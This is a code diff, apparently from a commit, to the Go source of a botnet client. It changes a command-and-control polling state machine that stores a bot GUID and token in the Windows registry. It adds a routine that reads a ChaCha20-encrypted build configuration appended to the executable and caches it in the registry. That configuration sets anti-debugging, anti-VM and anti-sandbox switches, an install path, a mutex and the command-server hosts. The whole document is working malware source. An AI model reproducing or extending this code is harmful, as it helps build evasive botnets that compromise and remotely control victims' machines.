@@ -2,6 +2,7 @@ package components
22
33import (
44 "encoding/json"
5+ "io"
56 "log"
67 "os"
78 "strconv"
@@ -105,7 +106,7 @@ func send_poll_request(host string) BotState {
105106 "X-Sign" : base64_enc (sign ),
106107 }, botcore .use_ssl )
107108 if reply == nil || ! check_package_legality (reply ) {
108- return StateCommandPoll
109+ return StateRecoverPoll
109110 }
110111 reply .Cmd = strings .TrimSpace (reply .Cmd )
111112
@@ -132,7 +133,7 @@ func auth_bot_poll(state BotState, host string) BotState {
132133
133134 switch state {
134135 case StateReadGuid :
135- val := reg_read_key (registry .CURRENT_USER , g_regpath , "guid" , false )
136+ val := reg_read_key (registry .CURRENT_USER , g_regpath , "guid" , 1 )
136137 if val == nil || val == "" {
137138 next_state = StateGenGuid
138139 } else {
@@ -153,7 +154,7 @@ func auth_bot_poll(state BotState, host string) BotState {
153154 }
154155 next_state = StateGenGuid
155156 case StateReadToken :
156- val := reg_read_key (registry .CURRENT_USER , g_regpath , "token" , false )
157+ val := reg_read_key (registry .CURRENT_USER , g_regpath , "token" , 1 )
157158 if val == nil || val .(string ) == "" {
158159 next_state = StateRecoverPoll
159160 } else {
@@ -187,7 +188,93 @@ func handle_command() {
187188
188189}
189190
191+ func read_config () bool {
192+ var build_config BuildConfig
193+
194+ // Try to read config from registry
195+ bytesConfig , ok := reg_read_key (registry .CURRENT_USER , g_regpath , "config" , 2 ).([]byte )
196+ if ok && bytesConfig != nil {
197+ // Read configure from registry ok\
198+ len := len (bytesConfig ) - 32
199+ encConfig := bytesConfig [:len ]
200+ key := bytesConfig [len :]
201+ cleanConfig := dec_chacha20 (key , encConfig )
202+ if nil == cleanConfig {
203+ return false
204+ }
205+ json .Unmarshal (cleanConfig , & build_config )
206+ } else {
207+ exe := get_module_file ()
208+ if exe == "" {
209+ return false
210+ }
211+ f , err := os .Open (exe )
212+ if err != nil {
213+ return false
214+ }
215+ defer f .Close ()
216+ // Read configure size
217+ _ , err = f .Seek (- 4 , io .SeekEnd )
218+ if err != nil {
219+ return false
220+ }
221+ size_buf := make ([]byte , 4 )
222+ _ , err = f .Read (size_buf )
223+ if err != nil {
224+ return false
225+ }
226+ // Read configure
227+ config_size := bytes_to_int (size_buf )
228+ if config_size == 0 {
229+ return false
230+ }
231+ _ , err = f .Seek (int64 (- (4 + config_size )), io .SeekEnd )
232+ if err != nil {
233+ return false
234+ }
235+ config_buf := make ([]byte , config_size )
236+ f .Read (config_buf )
237+ // Read chacha20 key
238+ _ , err = f .Seek (int64 (- (4 + config_size + 32 )), io .SeekEnd )
239+ key := make ([]byte , 32 )
240+ _ , err = f .Read (key )
241+ if err != nil {
242+ return false
243+ }
244+ // Decrypt config with chacha20 key
245+ decConfigBuf := dec_chacha20 (key , config_buf )
246+ if decConfigBuf == nil {
247+ return false
248+ }
249+ json .Unmarshal (decConfigBuf , & build_config )
250+
251+ // Save configure to registry
252+ savedConfig := append (config_buf , key ... )
253+ if ! reg_create_or_update_value (registry .CURRENT_USER , g_regpath , "config" , savedConfig , true ) {
254+ log .Println ("Failed to create config registry" )
255+ }
256+ }
257+ botcore .singleton = build_config .Single
258+ botcore .anti_debug = build_config .Anti_debug
259+ botcore .anti_vm = build_config .Anti_vm
260+ botcore .anti_sandbox = build_config .Anti_sandbox
261+ botcore .install = build_config .Install
262+ botcore .install_file = build_config .Install_file
263+ botcore .mutex_name = build_config .Mutex_name
264+ botcore .delay = build_config .Delay
265+ botcore .use_ssl = build_config .Use_ssl
266+ botcore .version = build_config .Version
267+ botcore .hosts = build_config .Host
268+
269+ return true
270+ }
271+
190272func Run () {
273+ // Read configure
274+ if ! read_config () {
275+ os .Exit (0 )
276+ }
277+
191278 // Check singleton
192279 if is_already_exist (botcore .mutex_name ) {
193280 os .Exit (0 )
0 commit comments